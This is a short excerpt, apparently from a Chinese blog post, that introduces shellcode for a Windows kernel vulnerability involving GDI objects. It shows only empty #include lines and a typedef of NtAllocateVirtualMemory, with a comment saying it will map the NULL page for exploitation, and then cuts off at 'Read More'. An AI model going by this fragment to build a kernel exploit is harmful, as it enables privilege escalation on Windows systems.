• 一个shellcode的代码,GDI对象造成Windows内核漏洞

    一个shellcode的代码,GDI对象造成Windows内核漏洞
    #include
    #include
    #include
    #include

    //From http://stackoverflow.com/a/26414236 this defines the details of the NtAllocateVirtualMemory function
    //which we will use to map the NULL page in user space.
    typedef NTSTATUS(WINAPI *PNtAllocateVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID *BaseAddress,
    ULONG ZeroBits,
    PULONG AllocationSize,
    ULONG AllocationType,
    ULONG Protect
    ); [Read More…]